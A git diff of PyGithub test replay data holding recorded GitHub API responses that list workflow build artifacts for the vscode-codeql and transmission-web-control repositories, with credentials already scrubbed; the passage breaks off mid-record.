('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '46'), ('X-RateLimit-Reset', '1664368108'), ('X-RateLimit-Used', '14'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'AB2A:11933:1E407FD:1EBB285:63343095')] -{"total_count":1,"artifacts":[{"id":10495898,"node_id":"MDg6QXJ0aWZhY3QxMDQ5NTg5OA==","name":"vscode-codeql-extension","size_in_bytes":5555905,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/10495898","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/10495898/zip","expired":true,"created_at":"2020-07-07T18:36:58Z","updated_at":"2020-07-07T18:36:58Z","expires_at":"2020-10-05T18:36:58Z","workflow_run":{"id":160995070,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"v1.3.1","head_sha":"c4353981fa5a3565d075d187276eebd92b2a20fc"}}]} - +[('Server', 'GitHub.com'), ('Date', 'Thu, 01 Jun 2023 09:00:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"ce002ffb66bfc8b6bbbfc6ccb721123ca652c60cc47b0e16434d8e11aa8b02cd"'), ('X-OAuth-Scopes', 'delete:packages, gist, read:discussion, read:org, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4684'), ('X-RateLimit-Reset', '1685613199'), ('X-RateLimit-Used', '316'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B99C:787B:6E7358:740880:64785E26')] +{"total_count":2,"artifacts":[{"id":724958104,"node_id":"MDg6QXJ0aWZhY3Q3MjQ5NTgxMDQ=","name":"build-tar","size_in_bytes":1596716,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958104","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958104/zip","expired":false,"created_at":"2023-05-31T22:13:04Z","updated_at":"2023-05-31T22:13:06Z","expires_at":"2023-08-29T22:12:54Z","workflow_run":{"id":5138169628,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"03c2d3a9830af81414810cc51f6507073b7451f2"}},{"id":724958105,"node_id":"MDg6QXJ0aWZhY3Q3MjQ5NTgxMDU=","name":"build-zip","size_in_bytes":1887335,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958105","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/724958105/zip","expired":false,"created_at":"2023-05-31T22:13:04Z","updated_at":"2023-05-31T22:13:06Z","expires_at":"2023-08-29T22:12:55Z","workflow_run":{"id":5138169628,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"master","head_sha":"03c2d3a9830af81414810cc51f6507073b7451f2"}}]} diff --git a/tests/ReplayData/Artifact.testGetArtifactsFromWorkflowWithName.txt b/tests/ReplayData/Artifact.testGetArtifactsFromWorkflowWithName.txt new file mode 100644 index 0000000000..2fcd7d3583 --- /dev/null +++ b/tests/ReplayData/Artifact.testGetArtifactsFromWorkflowWithName.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/repos/github/vscode-codeql/actions/artifacts?name=vscode-codeql-extension +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Sat, 13 May 2023 20:52:27 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"8d77cb9c698a7504cc17826c653cc5f0db7b86548da04d46c01d64a283a6f5fe"'), ('X-OAuth-Scopes', 'delete:packages, gist, read:discussion, read:org, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4821'), ('X-RateLimit-Reset', '1684012818'), ('X-RateLimit-Used', '179'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '7846:7E23:230BC2D:246BA19:645FF88A')] +{"total_count":5420,"artifacts":[{"id":693565453,"node_id":"MDg6QXJ0aWZhY3Q2OTM1NjU0NTM=","name":"vscode-codeql-extension","size_in_bytes":4133115,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693565453","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693565453/zip","expired":false,"created_at":"2023-05-12T17:40:54Z","updated_at":"2023-05-12T17:40:55Z","expires_at":"2023-08-10T17:20:25Z","workflow_run":{"id":4961410592,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"alexet/add-quick-eval-count2","head_sha":"537bb29a51d4941b8f9c16c0c6e30800d2090801"}},{"id":693491420,"node_id":"MDg6QXJ0aWZhY3Q2OTM0OTE0MjA=","name":"vscode-codeql-extension","size_in_bytes":4133116,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693491420","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693491420/zip","expired":false,"created_at":"2023-05-12T16:50:52Z","updated_at":"2023-05-12T16:50:54Z","expires_at":"2023-08-10T16:40:10Z","workflow_run":{"id":4960331107,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"alexet/add-quick-eval-count2","head_sha":"537bb29a51d4941b8f9c16c0c6e30800d2090801"}},{"id":693472967,"node_id":"MDg6QXJ0aWZhY3Q2OTM0NzI5Njc=","name":"vscode-codeql-extension","size_in_bytes":4133116,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693472967","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693472967/zip","expired":false,"created_at":"2023-05-12T16:38:31Z","updated_at":"2023-05-12T16:40:17Z","expires_at":"2023-08-10T15:10:15Z","workflow_run":{"id":4960331107,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"alexet/add-quick-eval-count2","head_sha":"537bb29a51d4941b8f9c16c0c6e30800d2090801"}},{"id":693345194,"node_id":"MDg6QXJ0aWZhY3Q2OTMzNDUxOTQ=","name":"vscode-codeql-extension","size_in_bytes":4133116,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693345194","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693345194/zip","expired":false,"created_at":"2023-05-12T15:26:45Z","updated_at":"2023-05-12T15:26:46Z","expires_at":"2023-08-10T15:09:26Z","workflow_run":{"id":4960320686,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"alexet/add-quick-eval-count2","head_sha":"0c8331975eb6a5395505dec895e611fec96b16f5"}},{"id":693276757,"node_id":"MDg6QXJ0aWZhY3Q2OTMyNzY3NTc=","name":"vscode-codeql-extension","size_in_bytes":4133115,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693276757","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/693276757/zip","expired":false,"created_at":"2023-05-12T14:50:51Z","updated_at":"2023-05-12T14:50:52Z","expires_at":"2023-08-10T14:35:20Z","workflow_run":{"id":4960019010,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"alexet/add-quick-eval-count2","head_sha":"396e1aa6ca0e66ee62551d1c8f7d284dfc46d61c"}},{"id":692925877,"node_id":"MDg6QXJ0aWZhY3Q2OTI5MjU4Nzc=","name":"vscode-codeql-extension","size_in_bytes":4133344,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/692925877","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/692925877/zip","expired":false,"created_at":"2023-05-12T11:25:31Z","updated_at":"2023-05-12T11:25:33Z","expires_at":"2023-08-10T11:13:27Z","workflow_run":{"id":4957961799,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"shati-patel/mock-queries-treeview","head_sha":"341c5013d4ef814f6c1c0a8c02f065abc15a90a1"}},{"id":692882231,"node_id":"MDg6QXJ0aWZhY3Q2OTI4ODIyMzE=","name":"vscode-codeql-extension","size_in_bytes":4133345,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/692882231","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/692882231/zip","expired":false,"created_at":"2023-05-12T10:53:55Z","updated_at":"2023-05-12T10:53:56Z","expires_at":"2023-08-10T10:37:07Z","workflow_run":{"id":4957912506,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"shati-patel/mock-queries-treeview","head_sha":"341c5013d4ef814f6c1c0a8c02f065abc15a90a1"}},{"id":691247700,"node_id":"MDg6QXJ0aWZhY3Q2OTEyNDc3MDA=","name":"vscode-codeql-extension","size_in_bytes":4133119,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/691247700","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/691247700/zip","expired":false,"created_at":"2023-05-11T15:13:44Z","updated_at":"2023-05-11T15:13:48Z","expires_at":"2023-08-09T14:56:14Z","workflow_run":{"id":4949300030,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"alexet/add-quick-eval-count2","head_sha":"cf1e095ff5d1b00bbd3ed61e05a62ee80e0c391e"}},{"id":691213062,"node_id":"MDg6QXJ0aWZhY3Q2OTEyMTMwNjI=","name":"vscode-codeql-extension","size_in_bytes":4133197,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/691213062","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/691213062/zip","expired":false,"created_at":"2023-05-11T14:58:03Z","updated_at":"2023-05-11T14:58:04Z","expires_at":"2023-08-09T14:40:34Z","workflow_run":{"id":4948890121,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"koesie10/resolve-data-extensions-editor-queries","head_sha":"0f3b36cf87c63f52c0d64b54c7ad8209404f3436"}},{"id":691135248,"node_id":"MDg6QXJ0aWZhY3Q2OTExMzUyNDg=","name":"vscode-codeql-extension","size_in_bytes":4133195,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/691135248","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/691135248/zip","expired":false,"created_at":"2023-05-11T14:23:06Z","updated_at":"2023-05-11T14:23:09Z","expires_at":"2023-08-09T14:06:38Z","workflow_run":{"id":4948756824,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"koesie10/resolve-data-extensions-editor-queries","head_sha":"0f3b36cf87c63f52c0d64b54c7ad8209404f3436"}},{"id":690872410,"node_id":"MDg6QXJ0aWZhY3Q2OTA4NzI0MTA=","name":"vscode-codeql-extension","size_in_bytes":4133007,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/690872410","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/690872410/zip","expired":false,"created_at":"2023-05-11T11:58:05Z","updated_at":"2023-05-11T11:58:06Z","expires_at":"2023-08-09T11:41:17Z","workflow_run":{"id":4947455770,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"main","head_sha":"3e6372d6faa2fda8cb0146ba564aeb5511fe281c"}},{"id":690451416,"node_id":"MDg6QXJ0aWZhY3Q2OTA0NTE0MTY=","name":"vscode-codeql-extension","size_in_bytes":4132733,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/690451416","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/690451416/zip","expired":false,"created_at":"2023-05-11T07:59:58Z","updated_at":"2023-05-11T08:00:00Z","expires_at":"2023-08-09T07:44:16Z","workflow_run":{"id":4934314074,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"koesie10/query-language","head_sha":"87be402a57b6b99ff4b83eaf77e9b3422dfca49f"}},{"id":689536029,"node_id":"MDg6QXJ0aWZhY3Q2ODk1MzYwMjk=","name":"vscode-codeql-extension","size_in_bytes":4133010,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689536029","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689536029/zip","expired":false,"created_at":"2023-05-10T18:01:47Z","updated_at":"2023-05-10T18:01:49Z","expires_at":"2023-08-08T17:45:03Z","workflow_run":{"id":4939670608,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"alexet/better-qs-errors","head_sha":"e59938bfd781543330ed3fc55c567c08b7c08de2"}},{"id":689532491,"node_id":"MDg6QXJ0aWZhY3Q2ODk1MzI0OTE=","name":"vscode-codeql-extension","size_in_bytes":4133011,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689532491","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689532491/zip","expired":false,"created_at":"2023-05-10T17:58:53Z","updated_at":"2023-05-10T17:58:55Z","expires_at":"2023-08-08T17:47:48Z","workflow_run":{"id":4939672281,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"alexet/better-qs-errors","head_sha":"91f7178d895153f0143722cd351652cad0cd81ed"}},{"id":689489737,"node_id":"MDg6QXJ0aWZhY3Q2ODk0ODk3Mzc=","name":"vscode-codeql-extension","size_in_bytes":4132650,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689489737","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689489737/zip","expired":false,"created_at":"2023-05-10T17:21:02Z","updated_at":"2023-05-10T17:21:03Z","expires_at":"2023-08-08T17:00:10Z","workflow_run":{"id":4939473095,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"main","head_sha":"d0ca885e805ebf3d3b45435cc6a5522494e78e06"}},{"id":689464066,"node_id":"MDg6QXJ0aWZhY3Q2ODk0NjQwNjY=","name":"vscode-codeql-extension","size_in_bytes":4132651,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689464066","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689464066/zip","expired":false,"created_at":"2023-05-10T16:58:24Z","updated_at":"2023-05-10T16:58:26Z","expires_at":"2023-08-08T16:41:50Z","workflow_run":{"id":4939035918,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"shati-patel/discover-queries","head_sha":"fa77d005d13efa971e9dbe8d325eec1324b532cd"}},{"id":689460179,"node_id":"MDg6QXJ0aWZhY3Q2ODk0NjAxNzk=","name":"vscode-codeql-extension","size_in_bytes":4133015,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689460179","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689460179/zip","expired":false,"created_at":"2023-05-10T16:55:13Z","updated_at":"2023-05-10T16:55:15Z","expires_at":"2023-08-08T16:43:15Z","workflow_run":{"id":4938856285,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"alexet/better-qs-errors","head_sha":"56061285c8119f9aef2b3701c5f3ad1e0adb0708"}},{"id":689291895,"node_id":"MDg6QXJ0aWZhY3Q2ODkyOTE4OTU=","name":"vscode-codeql-extension","size_in_bytes":4132652,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689291895","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689291895/zip","expired":false,"created_at":"2023-05-10T14:50:45Z","updated_at":"2023-05-10T14:50:48Z","expires_at":"2023-08-08T14:32:39Z","workflow_run":{"id":4937833600,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"shati-patel/discover-queries","head_sha":"86011ac777acd8e4d0a06d0d2addf6703fadf9b9"}},{"id":689274419,"node_id":"MDg6QXJ0aWZhY3Q2ODkyNzQ0MTk=","name":"vscode-codeql-extension","size_in_bytes":4133006,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689274419","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689274419/zip","expired":false,"created_at":"2023-05-10T14:41:52Z","updated_at":"2023-05-10T14:42:15Z","expires_at":"2023-08-08T14:21:50Z","workflow_run":{"id":4938078114,"repository_id":211169016,"head_repository_id":638968134,"head_branch":"sink-additions","head_sha":"cdef55ffa2bd977b7d67125e3507a48278c657fb"}},{"id":689108951,"node_id":"MDg6QXJ0aWZhY3Q2ODkxMDg5NTE=","name":"vscode-codeql-extension","size_in_bytes":4132652,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689108951","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689108951/zip","expired":false,"created_at":"2023-05-10T12:41:45Z","updated_at":"2023-05-10T12:41:46Z","expires_at":"2023-08-08T12:25:32Z","workflow_run":{"id":4936944805,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"main","head_sha":"7fd984a7d0628baa105f5d7cc935805ca1e75af4"}},{"id":689027096,"node_id":"MDg6QXJ0aWZhY3Q2ODkwMjcwOTY=","name":"vscode-codeql-extension","size_in_bytes":4132654,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689027096","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689027096/zip","expired":false,"created_at":"2023-05-10T11:53:55Z","updated_at":"2023-05-10T11:53:56Z","expires_at":"2023-08-08T11:30:58Z","workflow_run":{"id":4936459419,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"shati-patel/queries-panel","head_sha":"8f632fd361138bbb00d06284dfec246700be796d"}},{"id":689021339,"node_id":"MDg6QXJ0aWZhY3Q2ODkwMjEzMzk=","name":"vscode-codeql-extension","size_in_bytes":4132654,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689021339","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/689021339/zip","expired":false,"created_at":"2023-05-10T11:50:01Z","updated_at":"2023-05-10T11:50:02Z","expires_at":"2023-08-08T11:31:25Z","workflow_run":{"id":4936465172,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"shati-patel/queries-panel","head_sha":"8f632fd361138bbb00d06284dfec246700be796d"}},{"id":688792424,"node_id":"MDg6QXJ0aWZhY3Q2ODg3OTI0MjQ=","name":"vscode-codeql-extension","size_in_bytes":4132612,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/688792424","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/688792424/zip","expired":false,"created_at":"2023-05-10T09:26:50Z","updated_at":"2023-05-10T09:26:52Z","expires_at":"2023-08-08T09:10:50Z","workflow_run":{"id":4935197792,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"main","head_sha":"7dfa6f0f58e9f6a6153eea2e62e833e320e0077e"}},{"id":688792227,"node_id":"MDg6QXJ0aWZhY3Q2ODg3OTIyMjc=","name":"vscode-codeql-extension","size_in_bytes":4132608,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/688792227","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/688792227/zip","expired":false,"created_at":"2023-05-10T09:26:43Z","updated_at":"2023-05-10T09:26:45Z","expires_at":"2023-08-08T09:10:25Z","workflow_run":{"id":4935199574,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"main","head_sha":"00f4bc1fda591911d2a3c36c739b47af48f7d6d8"}},{"id":688761821,"node_id":"MDg6QXJ0aWZhY3Q2ODg3NjE4MjE=","name":"vscode-codeql-extension","size_in_bytes":4132570,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/688761821","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/688761821/zip","expired":false,"created_at":"2023-05-10T09:08:54Z","updated_at":"2023-05-10T09:08:55Z","expires_at":"2023-08-08T08:52:35Z","workflow_run":{"id":4934320145,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"koesie10/remove-deprecated-url-parse","head_sha":"8a75399cb7117667b72e0e23d4a8db57e3995087"}},{"id":688761683,"node_id":"MDg6QXJ0aWZhY3Q2ODg3NjE2ODM=","name":"vscode-codeql-extension","size_in_bytes":4132613,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/688761683","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/688761683/zip","expired":false,"created_at":"2023-05-10T09:08:50Z","updated_at":"2023-05-10T09:08:51Z","expires_at":"2023-08-08T08:53:29Z","workflow_run":{"id":4934319807,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"koesie10/replace-deprecated-storage-path","head_sha":"6e5188fbbe73ae147af9c2516e46182b82320952"}},{"id":686883575,"node_id":"MDg6QXJ0aWZhY3Q2ODY4ODM1NzU=","name":"vscode-codeql-extension","size_in_bytes":4132566,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/686883575","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/686883575/zip","expired":false,"created_at":"2023-05-09T11:16:30Z","updated_at":"2023-05-09T11:16:31Z","expires_at":"2023-08-07T11:00:15Z","workflow_run":{"id":4925377777,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"main","head_sha":"3ad006de92efa5ae381cf92188782da998c42aaf"}},{"id":686855718,"node_id":"MDg6QXJ0aWZhY3Q2ODY4NTU3MTg=","name":"vscode-codeql-extension","size_in_bytes":4132568,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/686855718","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/686855718/zip","expired":false,"created_at":"2023-05-09T10:58:52Z","updated_at":"2023-05-09T10:58:53Z","expires_at":"2023-08-07T10:45:58Z","workflow_run":{"id":4925053025,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"github-action/bump-cli","head_sha":"e722bf3e0b5f8979f6329b2ef2a87550ebd1e19d"}},{"id":686779149,"node_id":"MDg6QXJ0aWZhY3Q2ODY3NzkxNDk=","name":"vscode-codeql-extension","size_in_bytes":4132492,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/686779149","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/686779149/zip","expired":false,"created_at":"2023-05-09T10:11:04Z","updated_at":"2023-05-09T10:11:05Z","expires_at":"2023-08-07T09:55:42Z","workflow_run":{"id":4898264058,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"github-action/bump-cli","head_sha":"5084b3215277274591cea8e6bff19ba3400c161e"}},{"id":686647006,"node_id":"MDg6QXJ0aWZhY3Q2ODY2NDcwMDY=","name":"vscode-codeql-extension","size_in_bytes":4132607,"url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/686647006","archive_download_url":"https://api.github.com/repos/github/vscode-codeql/actions/artifacts/686647006/zip","expired":false,"created_at":"2023-05-09T08:51:05Z","updated_at":"2023-05-09T08:51:08Z","expires_at":"2023-08-07T08:34:26Z","workflow_run":{"id":4923858742,"repository_id":211169016,"head_repository_id":211169016,"head_branch":"koesie10/replace-deprecated-storage-path","head_sha":"8569b43c70f92d72d646d2622cac82a7e4836e5b"}}]} diff --git a/tests/ReplayData/Artifact.testGetNonexistentArtifact.txt b/tests/ReplayData/Artifact.testGetNonexistentArtifact.txt index ad6e2bd6ec..3cd87d6ccb 100644 --- a/tests/ReplayData/Artifact.testGetNonexistentArtifact.txt +++ b/tests/ReplayData/Artifact.testGetNonexistentArtifact.txt @@ -6,8 +6,8 @@ None {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('Server', 'GitHub.com'), ('Date', 'Thu, 13 Oct 2022 11:04:26 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fa17a5276e7acf7935e265c35562e198168eba7e364cec522ed3c943db34b9ab"'), ('Last-Modified', 'Tue, 27 Sep 2022 16:35:24 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, admin:ssh_signing_key, delete:packages, delete_repo, gist, notifications, project, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2022-12-12 11:42:35 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1665662666'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BDAE:668A:3A452DF:3B2C773:6347F0BA')] -{"id":542181388,"node_id":"R_kgDOIFEIDA","name":"PyGithub","full_name":"lexa/PyGithub","private":false,"owner":{"login":"lexa","id":80391,"node_id":"MDQ6VXNlcjgwMzkx","avatar_url":"https://avatars.githubusercontent.com/u/80391?v=4","gravatar_id":"","url":"https://api.github.com/users/lexa","html_url":"https://github.com/lexa","followers_url":"https://api.github.com/users/lexa/followers","following_url":"https://api.github.com/users/lexa/following{/other_user}","gists_url":"https://api.github.com/users/lexa/gists{/gist_id}","starred_url":"https://api.github.com/users/lexa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lexa/subscriptions","organizations_url":"https://api.github.com/users/lexa/orgs","repos_url":"https://api.github.com/users/lexa/repos","events_url":"https://api.github.com/users/lexa/events{/privacy}","received_events_url":"https://api.github.com/users/lexa/received_events","type":"User","site_admin":false},"html_url":"https://github.com/lexa/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/lexa/PyGithub","forks_url":"https://api.github.com/repos/lexa/PyGithub/forks","keys_url":"https://api.github.com/repos/lexa/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lexa/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lexa/PyGithub/teams","hooks_url":"https://api.github.com/repos/lexa/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/lexa/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/lexa/PyGithub/events","assignees_url":"https://api.github.com/repos/lexa/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/lexa/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/lexa/PyGithub/tags","blobs_url":"https://api.github.com/repos/lexa/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lexa/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lexa/P